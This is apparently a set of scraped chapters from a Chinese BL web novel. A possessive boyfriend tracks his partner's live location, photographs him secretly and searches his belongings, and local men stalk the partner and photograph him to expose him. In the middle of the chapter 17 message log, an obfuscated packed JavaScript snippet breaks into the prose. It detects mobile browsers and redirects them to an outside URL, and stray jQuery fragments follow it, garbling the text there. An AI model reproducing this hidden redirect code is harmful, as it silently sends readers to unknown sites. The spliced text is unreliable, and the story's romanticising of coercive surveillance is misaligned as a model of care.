陶柠愣愣地看着赵静群给他安排好了一切,“你……你去山里做什么?” 赵静群摸了一把他软乎的头发,盯着他看,笑容有些匪气,“给我老婆家干活呗。” 陶柠如玉的脸颊瞬间红了,下一秒,左脸颊上被男人啄了一口,低沉的声音逐渐远去,“晚上在家等我回来。” 男人走后,陶柠就去给人补课了,补课的时间不长,两到三个小时。 以往陶柠给人补课会投入百分之两百的心神,就算是休息时间,他也会批改作业或者准备好下一次课,绝不会出现任何偷闲自己玩的情况。 只是现在,有点不一样了。每过半个小时或者十几分钟,那个叫“老公”的备注就会发消息给他。 【喝水了么?】 陶柠喝了口水,放下手里的红笔,回复“喝了”两个字,手机那边就会立刻弹出一个消息。 【乖,实时定位再发给我一次。】 陶柠研究了一下实时定位的软件,给他发过去了,那边收到他的定位后,也就没回复了。 但不出半小时,那边依旧会发消息过来。 【乖,喝水。】 ——10:25。 【站起来活动一下,听话。】 ——11:00。 【有点想你,拍张照片给我,好吗?】 —— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859538|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 11:02。 【乖,定位再发一下。】 ——11:45。 如果陶柠在专心给人讲题,忘记回复了,手机就会立刻响起电话铃声,一直响到他接起电话。 透过传音器,也能听出男人声音里的不悦,“在干什么?” 系统嘎吱嘎吱磕瓜子,唏嘘道:【我滴个呆瓜,你这找的哪儿是老公,分明是二十四小时盯着你的男鬼啊,太吓人了,你挂了算了。】 陶柠不想理会它,闷闷地回复电话那边的人,“给人讲题。” 电话那头沉默了一瞬,语气放缓了,“是不是我打扰你了……呆宝?” “呆宝”两个字男人是细嚼慢咽的,一个字一个字吐出来的,好似少年被他放进嘴里含着一样。 陶柠耳朵有些发烫,但没听出男人有些可怜的意思,直接了当说:“嗯,有点。” “……” 电话那头轻笑了一下,低沉磁性的嗓音带着无奈,“可是作为你男朋友,我多关心一下你也不可以么?” 过了片刻,那边的声音放得更低了,似乎还有几分恳求,“呆宝,看不见你……我不放心。” 赵静群想起那天陶柠在树林里差点被人欺负的事情,内心的暴戾就怎么也止不住,如果现在不是法治社会,他绝不会简单踢几脚就放过那个人。 他黑沉的眸子里闪过微不可闻的阴狠,但是快得让人察觉不了,或许是多年前那些游走在社会边缘的经历,赵静群有时候对正常人的生活会感到恍惚。 他那时候年纪小,也不够高,催债的时候完全唬不住人,所以经常挨打,受其他人挤兑。 后来赵静群就学着那些厉害的人“装点一下自己”,染红了头发、打满了耳钉、抽劣质的烟喝劣质的酒,慢慢地,他再也不是什么赵家的太子爷了,而是一个像垃圾一样的混混。 即使现在被接回赵家,有些习惯,他却再也改不过来了。 就像常年生活在野外的孤狼,对自己发现的宝物有极其强烈的占有欲和控制欲,他必须无时无刻掌握宝物的状况,确保宝物不会离开。 所以陶柠只要一离开视线范围内,男人就会陷入无止尽的焦虑与恐慌。 赵静群知道自己的想法和行为到了病态的地步,但他不想去改变,也控制不了自己。而陶柠柔软老实的性格,有时也在助长他愈发扭曲的占有欲。 见电话那边迟迟没有声音,赵静群踩死了一只吸满血的水蛭,血液四溅,入眼的是满目猩红,却稍微缓解了他内心的焦躁。 “呆宝,我错了好么?不要不理我……” 男人平静的低哄,让电话那边的人完全感受不到他焦躁不安的情绪,甚至连攥着手机的指尖都发白了。 片刻,电话那边终于传来少年轻软的声音,“没有不理你,刚才在和他讲题。” 赵静群眼底的幽暗逐渐散开,“真乖,讲完后要立刻喝水,我明天去给你买润嗓子的。” “不用了。” “乖,听话。” 分明是哄着人的声音,语气里浓烈到扭曲的控制欲,却叫人有些心惊胆战。 17. 第 17 章 陶柠给人补完课后,回家吃完午饭,把鸡鸭都喂了,就去给赵静群还有陶圆他们送饭去了,手机上还在源源不断发来消息。 【补完课了吗?】 【乖,饭菜都在锅里了,慢点吃,记得多喝水,喂饲料的时候离鸡圈远一点,听话】 【吃完饭后不要把长裤脱了,这边蚊子很多,等会到山脚下给我发条短信】 【定位再发给我一下】 陶柠按照男人说的都做了,走之前也把定位发给他。 去送饭的路上,系统有一搭没一搭和他聊天。 【呆瓜,你打算什么时候执行我们的最终任务啊?离你进城就剩一个月左右的时间了吧,你可得抓紧了,看赵静群这样子,你拖的越久,想从他那里脱身的机会就越小......】 陶柠垂下眼睫,遮住了眼底的思绪,“嗯”了一声。 系统问:【你喜欢他吗?】 听到这个问题,陶柠愣住了,他不由自主地把手放在胸腔处,感受到了自己匀速跳动的心脏,除此以外,什么感觉也没有。 为什么.....会这样? 喜欢一个人是什么感觉? 系统似乎早知道他的感受,淡定地安慰他:【不喜欢也没关系,继续攻略下一个吧。】 陶柠放下心底的困惑,快要到山脚下时,忽然感觉到身后有两道黏腻阴冷的视线,就像阴沟里老鼠贪婪的视线一样,让人浑身不舒服,除了对情绪的感知力极低,他对这些不怀好意的目光还算比较敏感。 回过头,是两个同时佝偻着背的男人,陶柠都认识。 一个是曾经差点欺辱他的张麻子,脸上还带着青紫,看来是那天的伤还没好。另一个则是已经退学,逼陶柠和他“做朋友”,没成功后恼羞成怒的社会混混王龙。 两人见少年看过来,不约而同互相对视一眼,都从对方眼里看到了惊喜和贪婪的欲望。这他妈今天踩了什么狗屎运了?陶柠居然让他们给碰上了! 张麻子眼底有恨意和贪欲,“真是运气好啊……” 但两人都不敢轻举妄动,毕竟一个被男人揍到差点残废,住了几十天院现在还没好全,另一个被陶圆拿柴刀威胁过,所以他们只是远远看着陶柠,没有走上前。 可陶柠站在那里,对他们的诱惑力就足够大了。少年今天不同往常,没有穿那条到膝盖处的短裤,而是长衣长裤,衣服材质却很好,一看就是舒服的料子。 仿佛少年已经名花有主了,而且那人的嫉妒心极强,每天给少年挑选的衣物都是严严实实的,一点细嫩的皮肉都不叫他露出来。 但那人似乎疏漏了,在有些人眼里,即使陶柠一点肌肤都没露出来,还戴着土到掉渣的黑框眼镜,对他们来说,仍旧别有一番风味。 无他,少年实在过于美丽,那样惊艳的容颜,他们这些人哪怕只是见过一眼,这辈子也都不会忘记了。 王龙以前特别看不上那些只会读死书的所谓好学生,尤其是陶柠这样的,家里是出了名的贫困户,穿衣打扮也土死了,瘦胳膊瘦腿,成天低着头在座位上也不知道在写什么,偏偏所有老师都喜欢他。 王龙又厌恶又嫉妒,所以经常放虫子和死老鼠到陶柠的座位里,但没想到这土包子也不怕,而是用棍子把他们都挑走了。 后来王龙想了个更狠的招,干脆把陶柠骗到厕所里堵住,扒了他的衣服看看,到底是不是男的,因为这土包子偶尔不经意露出来的脸颊,会让他好一阵恍惚。 皮肤白得晃人眼睛,嘴巴也那么红,不会是女扮男的吧? 陶柠那土包子太好骗了,王龙随便叫人编了几句谎话,就把他骗到厕所里来了,他那天穿的短衣短裤,看到厕所不怀好意的王龙,转身就走。 王龙瞬间拉住他的胳膊,笑得眼睛眯成了一条缝:“别走啊好学生,这么怕我做什么?我今天叫你来是想和你交个朋友的。” 陶柠回过头,戴着黑框眼镜的脸上没什么表情,直接拒绝了:“我不想和你交朋友。” 王龙瞬间怒上心头,这么一个穷酸土鬼,自己和他交朋友是他修了八辈子的福气,他还敢拒绝? 王龙当即把陶柠扯过来,想要拽住他的头发,陶柠拼命挣扎,两人争执间。 啪嗒一声。 少年的眼镜掉了,较长而显得阴郁的刘海也因为挣扎散开,露出漂亮精致的五官,还有那双潋滟如静谧湖水的眸子。 陶柠愤怒地瞪着他,一向低软的声音也带了隐忍的怒意,“我说了,不想和你做朋友……” 然而王龙根本没有听见陶柠在说什么,直接盯着他那张漂亮到像娃娃的脸惊呆了。 这这这他妈是土包子?早说长这样啊!难怪他以前总有那种觉得陶柠长得很带劲的错觉。 王龙正想抓住他再说几句话,然而少年早已经捡起眼镜走了。 从那天开始,陶柠被这个叫王龙的同学频繁骚扰,他一个对周围情绪的感知能力极低的人,都能感觉到王龙对自己的狂热。 陶柠一直想不明白为什么,与人交朋友是这样的么?直到那天回家的路上,王龙把他堵住,眼底的疯狂让人感到不安,双目猩红朝他道:“柠柠,我爱你我爱你,和我……” 他话还没说完,身后就传来一道破口大骂的声音:“**你个臭傻逼***,敢打老娘弟弟主意,我**搞死你!” 陶圆披头散发提着杀猪刀冲出来,满脸狰狞,那刀上面还有未干涸的血迹,乌漆嘛黑的山路上,显得格外阴森恐怖。 王龙顿时吓破了胆,他听过这个女人的事迹,年轻时候是这几个山头最出名的女流氓和大姐头,砸过KTV和酒吧,差点进去了,后来嫁人生子才收敛了许多,但护短护得极其厉害。 他怕陶圆真的拿刀砍自己,屁滚尿流跑了,后来王龙被学校劝退了,已经很久没见过陶柠了,没想到现在遇上了。这不是天赐那个什么良缘是什么? 王龙黝黑的脸上挤出一个讨好的笑,刚想上前和陶柠搭话,他身后就传来两道森冷的声音—— “他奶奶的臭小子怎么又是你?” “想死么?” 王龙和张麻子两人一个激灵,齐唰唰看过去,只见赵静群和陶圆一左一右站在少年身后,同时沉着脸看他们。 赵静群更是直接上手,一把揽住了陶柠的肩膀,面无表情吐出一个字:“滚。” 张麻子看到他就想起那天在树林里差点被打成半残的痛,心底发怵,声音发虚说:“你们给我等着……”然后和王龙马不停蹄走了。 两人一走,赵静群急忙板正怀里的人,上上下下打量他,确认陶柠没有受伤,才松了口气。 只是之后的时间里,男人脸色一直都很差,连不怎么会看别人脸色的陶柠都察觉到了,因为赵静群的脸色实在有些吓人。 陶柠把饭交给他们,趁陶圆吃饭时,他凑到赵静群身旁,轻声问他:“怎么了?” 赵静群沉沉地盯着他,“下次碰到这些人要立刻给我打电话。” “嗯……” 他近期才有的手机,根本没习惯使用,除了回复“老公”的消息,从来不玩,活得就像一个生活里除了做题还是做题的机器。 陶柠拍了拍他裤脚上干活时沾到的泥巴和灰尘,却被男人一把抓住了手,他听见赵静群不悦道:“别拍了,脏。” “不脏。” “……脏。” “不脏的。” 陶圆在一边实在听不下去了,瞪着他们两个,“脏什么脏的,你俩是小学生吗?小檬都比你们懂事,柠柠你赶紧的,等会回去喂猪去,还有小檬等会也该放学了,别忘了去接他,不然你唯一的外甥可就没了。” 陶柠露出一抹笑,点了点头,陶圆把饭盒放下,拍了拍手就先一步上山了。 他上前想去收拾碗筷,被男人从身后抱住了腰肢,脑袋压在他的肩膀上,语气带着恳求和蛊惑:“呆宝,晚上回去多笑一笑好么?我想看。” “……嗯。” 脸上忽然被猝不及防吻了一下,陶柠看过去,只见炽热的日光下,红发张扬似火的男人笑着和他挥了挥手,指着他的口袋,张了张嘴,却没有发出声音,转身走远了。 陶柠困惑地低下头,才发现,口袋里有一朵玫粉色的月季花,是山上随处可见的山花,开得正艳。 他愣了一下,心底涌出了一丝丝说不清道不明的情愫。 忽然,脑海里响起机械的声音:【叮咚!恭喜宿主的攻略进度完成了百分之三十。触发攻略赵静群单人线第三条任务——】 【匆匆那年,离别总是悄然而至,请宿主在二十天内让赵静群说出‘我爱你’这三个字,最后与他好好告别!】 陶柠怔愣,他脱口而出:“我拒绝。” 系统乐呵呵问:【呆瓜,你真的喜欢上他了吗?】 陶柠沉默了,他提着保温盒,沿着回家的路走了许久,口袋里的手机不停传出消息和电话通知,他另一只手攥着已经被摘掉刺的月季。 到了家门口,陶柠低头看手里有些枯萎的月季,眼底忽然产生从未有过的迷茫。 他说:“我不知道。” 【宿主,你还有二十天的时间,请努力吧!】 脑海里嗑瓜子的声音停止了,系统说:【呆瓜,你不想要一副好身体了吗?】 陶柠把月季放进口袋里,“我想,但是我觉得……这样做不对。” 系统笃定道:【你对他不是真正的喜欢,是感激。而且呆瓜你还没发现吗?赵静群在控制你的生活,再这样下去,你就只能生活在他的羽翼下,失去自我。】 【到了最后,你任何想做的事情都会被他剥夺,这种人最可怕了,何况这只是一场任务,你对他不是喜欢,相信我。】 陶柠没有作声,又听见系统严肃说:【这可是我看了那么多强.制脆皮鸭文学得到的经验,你不要不信!】 陶柠:“……” 他把月季放到一个装了水的塑料瓶里,洗了碗,就去接小檬放学了。 结果牵着小檬回来后,就碰到了蹲在门口叼了根狗尾巴草的赵静群,一见到他回来,脸色极其阴沉,似乎酝酿了一场风暴。 只是看到他身旁的小檬,赵静群克制住了,一直到陶柠洗完澡。 赵静群帮他擦完头发,然后抱着他上了床,打开他的手机,满屏都是未读的消息,不满地问:“给你发了那么多消息怎么一条也不回?你知不知道我有多担心。” 难怪他提前回来了,但是陶柠这次没有乖乖的认错,垂着头没有说话。 赵静群忍了,毕竟他清楚自己的宝贝是个闷葫芦,十句话里面有一句是这个活宝贝感兴趣的,他就谢天谢地了。 他吻了吻陶柠的唇,“不是答应了要笑给我看?笑一个。” 陶柠抬起眼,勾起一个很淡的笑容。赵静群瞬间看呆了,他情难自抑地吻上去,用尽全力去加深这个有着不安与焦躁的吻,就像一头被伴侣拒绝的狼,焦躁不安。 过了许久,赵静群才恋恋不舍结束,他认真地看着小口喘着气的陶柠。 “……何言他们明天想带你去镇上吃顿饭,想去吗?” 陶柠点了点头。 赵静群蹙起眉,接着松开,不知 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一行人到全镇最贵的饭店的时候,何年年又开始嫌弃了,只是这次,她声音没有那么大,“什么破地方,服务员怎么长得又老又丑的……” 于是一顿饭吃得所有人食不知味,除了陶柠和赵静群,因为一个人只知道低着头默默吃饭,另一个则双手没停过——给陶柠剥虾壳,剥螃蟹等等各种海鲜或者带壳的东西。 陶柠面前专门有一个碗拿来放菜的,里面的菜已经堆满了。 何年年表情怪异,凑到赵静岁耳边说:“你哥突然变得好奇怪啊。” 赵静岁抬眸看了一眼始终在照顾少年的赵静群,没什么表示,夹了一筷子菜放到何年年碗里,“好像是……但今天你请吃这顿饭的目的不是为了向陶柠道歉吗?” 何年年嘟着嘴,“我才没有。” 这顿饭陆陆续续吃到最后,何年年装模作样咳嗽了几下,看着陶柠说:“那个,那个你,陶柠,我今天晚上就要回家了,看你没见过什么世面……” 她的衣角被人拉了几下,何年年顿时拉下脸来,别扭着说:“谢谢你那天救了我,我请你吃顿饭,但是这不代表我会承认你比我优秀的,我告诉你,那天是我发挥失常了所以才没把题做出来……” 陶柠有点没搞懂她想表达的意思,但是听明白了她是来道歉的,他正想点头,赵静群说话了,挑着眉道:“真想道歉就别说废话了,不如给点实在的。” 何年年敢怒不敢言,哼了一声,“那你说什么才叫实在的?” 赵静群淡淡地回答:“给钱。” 何年年跟看鬼一样看他,这混混又发什么疯?自己钱多的是,把主意打到她身上做什么? 可目光转向陶柠,何年年心里又不舒服了,“好吧,要多少?” 赵静群气定神闲开口:“两万。” 刘书记在一旁听得目瞪口呆,这些天他们过来,上面发下来的辛苦费也才三四千,这人一张口就是两万!不愧是城里的有钱人啊。 陶柠也愣了,在桌下扯了扯身旁的男人,却被他一把捉住了手,粗糙的指腹抚摸他伶仃的手腕,似乎在安抚他。 何年年瞪了他一眼,也没多说其他的,“两万就两万,哼!”她直接从钱包里掏出来一张卡甩过去,“这里面刚好三万块,你拿走吧,我们两清了!” 说完这些话,她又变成了那个趾高气昂的大小姐,和赵静岁继续说小话,到了最后宴席要散了时。 她才很是别扭的走到陶柠身边,眼珠不自然地转着,“喂,你,你和我拍张照吧,让你见识一下什么叫相机。” 赵静岁在旁边微笑,“她的意思是有些舍不得你。” “喂!岁岁!你不要胡说!” 陶柠还没说话,赵静群皱眉拒绝了,“不行。” 何年年顿时火冒三丈了,直接怒道:“你是他谁啊你就帮他做决定?别以为你家有点权利有点臭钱了不起啊……” 陶柠弯了弯眼睛,轻声说:“我和你拍照。” 这次换赵静群一副臭脸了,何年年刚才还满脸怒意,听到少年的话后,顿时笑了起来,直接上手挽住了陶柠的胳膊,把他拉到了一旁。 赵静群的脸色更阴沉了,活像是老婆和别人跑了一样,但他深吸了一口气,没有阻止了。 因为他知道少年心情不错,也知道自己又犯病了。 赵静岁把一切都收入眼底,若有所思地在赵静群和陶柠之间来回打量了几下。 另外一边,何言举着相机,给陶柠和何年年拍了照片,何年年兴奋地跑去镜头看,结果就看见了站在她旁边,浑身上下写满局促的陶柠,加上他脸上戴的黑框眼镜,看着总觉得遮掉了些什么。 何年年又不开心了,“我就是和你拍个照,又不会吃了你,你紧张做什么?还有你脸上那么土的眼镜,你刚才就不会把它摘掉吗?” “你不会好好说话就闭嘴。”赵静群脸色冷下来。 就在氛围再次变得剑拔弩张时,少年把眼镜摘下来,露出如琥珀般清澈美丽的双眸,红润饱满的唇抿着,“抱歉,那我们再来拍一张吧。” 然而话落后,半天也没有得到回应,过了许久全场都是鸦雀无声的状态,惊艳、震惊的目光从四处黏了过来,纷纷聚集在一脸茫然的陶柠身上。 只有刘书记见怪不怪了,淡定地在嗦嗍螺,而赵静群的脸色已经和锅底一样黑了。 到了最后,何言“操”了一声,内心疯狂吐槽这是哪儿冒出来的神仙啊,这也太好看了! 18. 第 18 章 何年年更是惊艳到嘴巴长大,跟看鬼一样看陶柠,“你你你……”支支吾吾半天也说不出话。 赵静群忍无可忍,夺过眼镜重新戴在陶柠脸上,闭了一下眼眸,敛去快要溢出的占有欲,面无表情道:“就这么拍。” 何年年没反驳,目光却时不时放在陶柠的脸上,似乎要盯出花来,这么一看,也许是之前从未正眼看过这土包子,她忽略了很多东西。 现在才发现,这土包子皮肤白皙细腻,五官底子也极好,可惜总是戴着很土的眼镜,较长的刘海也不剪,垂着眼睛,一副老实巴交的样子,从人群中看过去毫不起眼。 原来他…他那么好看吗? 咔嚓几声。 照片定格了,时间是2012年夏季8月13日。 照片上的双马尾少女瘪着嘴,看起来不情不愿站在无措的少年身边,余光却是黏在他身上的。 何言是用富士500AF拍的,拍了有四五张,只是照片上两人的姿势几乎没有改变,少女自始至终很别扭,少年也始终局促。 刘书记看着从相机上方冒出来的照片,一脸惊奇,“这小盒子可真厉害啊。” 何年年翻了个白眼,懒得和他解释,把其中两张照片“啪”的一声放到桌上,声音是对陶柠说的,眼睛却看着门口,“喏,给你了。” 说完这句话,她非常别扭地拉着赵静岁走了,双马尾在空中一蹦一跳的,就像那天刚来黄檬村时的模样。 那两张照片陶柠还没看就进了赵静群的口袋里,回去的路上赵静群攥着他的手,力气没收,陶柠觉得手有点疼,经过这半个多月的相处,他知道男人有些生气了。 虽然他没明白是为什么,了解一个人的心思果然比做题困难,而要弄清楚赵静群的心思,比最难的数学题还要难。 声音里罕见的有几分无奈,陶柠问:“……怎么了?” 赵静群攥住他的手掌收紧,眼眸微沉,“没事。” 其实是他自己出了问题,不怪陶柠,他受不了陶柠和其他人靠近,哪怕只是简单的拍张照,也嫉妒得心脏好似坠入腐蚀的酸液中,理智到了溃烂的边缘。 他善妒且占有欲极强,严重到了心理病态的地步,赵静群却不敢说,担心陶柠害怕自己。 到了晚上,赵静群拍着陶柠的背哄他睡觉,昏暗的屋子里,他盯着臂弯里熟睡的少年也不眨眼,就这样一动不动地看着。 直到确认床上的人进入深度睡眠,赵静群下了床,拿出白天陶柠拍的两张照片,忍不住摩挲照片里笑得腼腆的少年,眼底溢出有些阴暗的痴迷。 但更多的,是嫉妒。 他面无表情从照片中间撕掉了,只保留有陶柠的部分,而后拿出手机,仔细地翻看相册里的照片——三分之二的照片,都和陶柠有关。 这十几天里,他总会趁陶柠不注意,偷偷拍下陶柠的模样,有低头认真做题的,有撑着脑袋发呆的,有睡得迷迷糊糊的……赵静群都记录下来了。 他把撕掉的照片放进了钱包夹里,做完这些事情后,赵静群将这个破旧的小屋扫视了一圈,就像一头巡视自己领地的雄狼,最后在伴侣的书桌前停下。 想起陶柠那天遮掩的东西,赵静群那时候只觉得好奇,现在会觉得心里不舒服,所以他毫不犹豫开始在一堆数理化习题集中翻找,他想要知道陶柠瞒了他什么。 赵静群不希望陶柠对自己有任何隐瞒或者秘密。 “……你在干什么?” 低头翻找的男人身体瞬间僵住,他手指发颤,回过头,陶柠正揉着眼睛看他,睡衣有些松松垮垮,露出半边细腻白嫩的肩膀。 是系统刚才把他叫醒的:【呆瓜你快别睡了!!赵静群在找我们的秘籍,我只能发给你不能收回去,要是被他找到,他肯定会起疑的……】 是啊,一个表里如一只知道学习的书呆子,怎么可能会看那些口口小说?以赵静群那样想一个事情能绕十个弯的人,肯定会开始怀疑。 赵静群沉默了几秒,走过去将他滑到胳膊的衣领子向上拉,“……找烟。” 陶柠看着他,表情明显不信,但没有拆穿,“可是你答应我要戒烟的。” 赵静群抱住他,亲吻陶柠柔软的发旋,嗓音微哑:“是我错了,乖,继续睡吧。” 男人抱着陶柠入睡,一如既往用禁锢的姿势困住怀里的人,仿佛以自己的身躯编织出一个囚笼,妄想把陶柠永远困在笼子里,不见天日。 但陶柠不是柔软的困鸟,而是可以长成参天大树的树苗。 第二天陶柠没有课要补了,决定跟着赵静群还有陶圆上山,赵静群知道后,很早就起来做了早餐,又炒了五道菜放到保温盒里,全是陶柠爱吃的。 赵静群把几千块的背包从放“猪饲料”的柜子里拿出来,里面放了陶柠平日里做的习题册,还有卫生纸、风油精、蒲扇、可以折叠的板凳等等,以及那天去镇上买回来的蜂蜜小面包。 书包里最显眼的,是两支黑笔和两块红布。 时间到了,赵静群给陶柠挑了一套遮的严严实实的衣物,这几天里,他又托人给陶柠买了很多衣物过来,还有给小檬和陶圆的。 把陶圆高兴得合不拢嘴,直夸想让赵静群做她女婿。 赵静群也不回答,目光都放在陶柠身上,他本来想亲手给陶柠穿衣服,接连好几次都被拒绝了,没有办法。 他只能蹲下来给陶柠穿袜子系鞋带,只是在穿的过程中,会用粗糙的指腹多抚摸几下手掌心上的脚腕。 少年的脚比他小了好几倍,五个脚趾的指甲修剪得整齐光滑,圆润如玉珠,赵静群会用极晦暗的视线紧紧盯着,那样贪婪的目光好似恨不得用舌头去.舔。 但他仅是滚动了几下喉结,忍住了。 赵静群在极力忍耐内心肮脏的欲.望,但他也不知道自己能克制多久,不过只要陶柠能永远在他身边,他可以一直伪装下去。 陶圆打着哈欠出来,老远就看见赵静群背着大包,左右手还拎满了东西,她震惊了:“不是说今天去山上……静群啊,你要回家了?” 赵静群说:“没有,今天陶柠一起去,所以多带点东西。” 陶圆:“……” 她想了想自家弟弟也帮不上 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陶柠把微凉的矿泉水递给他,赵静群仰头一口气直接喝完了,捏扁塑料瓶放进背包里,接着用湿润的唇去掠夺陶柠双唇下的甘甜。 赵静群像野兽般的眼神紧盯着被他吻得喘不过气的少年,直到他要呼吸不过来了,才放过他。 黏腻如小串玉珠的丝线跟着从唇间分离,赵静群喘着粗气,嗓音低哑问:“……乖宝,跟我去宣誓好么?” 那天陶柠说完久远的传说后,他心里就冒出一个想法,只是很快就湮灭了,现在才恍然,他是想和少年去宣誓的,即使只是传说,他也不会放过能永远和陶柠在一起的希望。 陶柠愣了几秒,心脏微不可闻地动了一下,点了点头,“嗯”了一声。 他带赵静群去了另一座隐蔽的山头,阳光洒进茂密的树林里,因为丁达尔效应,光线落在地上的枯枝败叶上,只剩零星几点了。 他们来到一棵直径一米粗的槐树下,槐花好似半空中白色的海洋,将陶柠和赵静群包围了。 “这棵槐树有上百年历史了,我们可以把红绸系在它的树枝上。” 陶柠抬起眼睛,几片白色的花瓣恰好落下,飘到他微卷的发间。 赵静群侧眸看过去,光线映在身旁人的脸颊上,漂亮精致的五官格外清晰,阳光令少年身上仿佛绽放出一层淡淡的光晕,美好到就像随时要离开人间的天使。 美好到他这样卑劣的人,无论如何也抓不住。 赵静群的心脏被狠狠一刺,他忍不住冲上前把“天使”抱进怀里,克制地吻了一遍又一遍少年染上花瓣的发间,眼底浓烈如墨的阴暗再也遮不住了,“……陶柠,你只能是我的。” 怀中的人没有说话,赵静群深吸一口气,闭了闭眼,低下头衔住少年柔软的双唇,一阵清风吹过来,他们在漫天槐花下接吻。 然而陷入情动的赵静群没有发现,在离他们七八米远的地方,有个佝偻的身影借着灌木遮挡,正死死盯着他们,见到他们吻在一起后,浑浊的眼底闪过几丝震惊…… 最后,是满满的恶意。 19. 第 19 章 傍晚黄昏降临时,赵静群背着大包小包,牵着陶柠的手下山了。 余晖洒在他们的身上,斜映出两道一长一短的影子,而在他们背后,十几米高的槐树枝干上,摇晃着两块红绸。 赵静群捏了捏陶柠的手,语气微沉,“怎么许愿我平安健康,不许其他愿?”然而身旁的人一如既往没有说话。 眼底的幽暗愈深,赵静群张了张嘴,最终没有把话挑明白,他知道自己操之过急了,不能逼陶柠,况且现在这个社会对同性恋的容忍度很低,他不能太贪心想要陶柠的一辈子。 可只要想到陶柠未来无法承受社会的压力,最终选择离开他,去和别人结婚生子。 仅是这么一想,赵静群的心脏好似被活生生剜去了半块,他沉浸在这种痛苦的想象中无法疏解,直到少年轻软的嗓音将他从深渊中拉了出来:“……那你许了什么愿?” 刚才宣誓时,赵静群没有给陶柠看他在红布上写了什么,遮得很严实。只有陶柠坦坦荡荡的,写的是“希望赵静群一辈子平安健康,无病无灾。” 赵静群盯着那行端正的字,一言不发,眼眸中暗潮涌动,更多的是失落。 最后是赵静群踮起脚把两人的红布系在一起的,陶柠没他高,视力也没那么好,看不清赵静群写了什么,只好作罢。 赵静群回过神,脸绷得很紧,淡淡地问:“想知道么?” 陶柠点了点头,很重的“嗯”了一声,结果下一秒,他就听见男人沉着嗓音道:“我不说。” 陶柠:“……” 两个人回到家,桌上已经摆满了一桌菜,五个菜两个汤,有鸡有鱼好不丰盛,陶圆正系着围裙,手上忙活着布菜,耳边夹了个电话,语气里的炫耀遮也遮不住: “哎哟,柠柠那孩子你知道的嘛,从小就聪明,没让我操心过,这次有人资助他去上学,是运气撒……哎哟,这说什么话呢,你们小丰也很不错啦……哎对对对,没多少天了……” 她看见两人回来,挥手让他们去洗手吃饭,然后接着跟电话那边的人炫耀。 小檬一见到陶柠,就“哒哒哒”地跑过去抱住他的大腿,圆溜溜的眼睛眨呀眨,“舅舅,你回来啦。” “嗯,今天在学校听话吗?” “我很听话的!舅舅我跟你说……” 屋内暖黄色的灯光柔软地洒在这一家三口身上,有爽朗的笑声、有絮絮叨叨的唠叨,还有少年低垂着头,嘱咐小檬的轻声细语,卷翘如鸦羽的睫毛投下温和的阴影,美丽精致的侧颜令赵静群移不开眼。 嘴角的笑不由自主勾起,微吸了一口气,赵静群加入了这场温暖惬意的晚餐中。 饭桌上,陶圆不停给他们三人夹菜,眼角的细纹笑出了好几道褶皱,“柠柠,你还记得钱丰不,就是李向东他二姑的儿子,哎哟!我今天去镇上碰到他二姑啦,去读技校啦,之前不是还欺负你来着?臭小子一个,现在好了,跑去读那种流氓学校了,我今天一高兴,多买了几个菜……” “妈妈!你初中都没读过呢!” “嘿,你个臭小子,吃你的饭……” 赵静群忍不住偷看陶柠,发现他眼底有很浅的笑意,似乎是感受到了身旁炽热的目光,陶柠回望他,弯起了眼睛。 他们在桌下偷偷牵手。 吃完饭后,陶圆伸了几个懒腰,指挥家里的男子汉们去洗碗扫地,自己则回房间翻找藏起来的烟,结果找了半天也没找到。 脑海里浮现出少年每次都能精准找到她的烟然后拿走的背影,陶圆瞬间明白又被陶柠那臭小子知道自己藏东西的地儿了,脸上的面子有些挂不住,嘴里嘟囔了几句:“混小子,脑子那么灵光做什么……” 没找到烟,陶圆只好空着手去跳广场舞了,夏天山里没那么热,晚上也很早就凉快了,一到七八点,附近山头的妇女或小孩就会集合起来找块空地跳广场舞、活动。 跳广场舞的地方就在陶圆家附近,她是前段日子才迷上广场舞的,以前她看都不会看一眼,结果后来,陶圆听见有人在背地里嚼舌根说她这样的母老虎,怎么可能会跳舞! 陶圆争强好胜了快半辈子,当然不会服气,因此近段时间天天去跳,到了现在,她都算得上半个领舞的了。 今天陶圆心里舒坦得不行,自己的弟弟优秀到人人羡慕,曾经那些瞧不起他们的亲戚如今一个一个巴结过来了,还有一个可爱健康的儿子,相好的虽然是个不成器的,但常年不回来,跟没有一样,人不见心不烦。 陶柠特意换上四年前买的品牌裙子去跳舞,半路上又碰到打听陶柠的,她炫耀了几句就仰着头走了。 一路走到山腰,陶圆哼着小歌,身后突然传来一道嗤笑:“陶圆,你还不知道你那个宝贝弟弟和男的搞一块了吧?” 山路拐角的阴影里,张麻子狰狞着脸走出来,一口黄黑牙咧起,不料扯到了脸上的旧伤,顿时龇牙咧嘴道:“嘶,你还有心情去跳舞,你那弟弟现在都给人卖屁.股了,你难道不知道……” 话还没说话完,一块拳头大的石头带着狠劲砸了过来,张麻子吓得连忙往后退,破口大骂:“你个臭娘们找死啊?!” “老娘看找死的是你!” 陶圆根本无法容忍有人诋毁陶柠,冲上去几耳光甩了过去,揪住张麻子的头发,随即一脚狠狠踹向他的下半身,刹那间,山林里响起一道凄厉的惨叫:“啊!!!” 没过几分钟,陶圆气喘吁吁,头发凌乱,脸上也带了几道抓伤,却踩在张麻子的身上,凶狠地质问:“下次再敢胡说八道,老娘撕烂你的嘴!” 陶圆“呸”了地上被揍得惨不忍睹的人几口唾沫,嫌晦气拍了拍手,转身就走,不料一条腿被地上的人死死抓住了。 这一下陶圆怒火中烧,拧过头正想几脚踹下去,一张略微模糊的照片顿时出现在她面前,昏暗的山林里,手里屏幕上的亮光格外显眼、刺眼—— 照片上,高大挺拔的男人抱着比他矮了一个头的少年忘情地亲吻着,阴影笼罩了他怀中的人,而周围的景色熟悉到令人发冷。 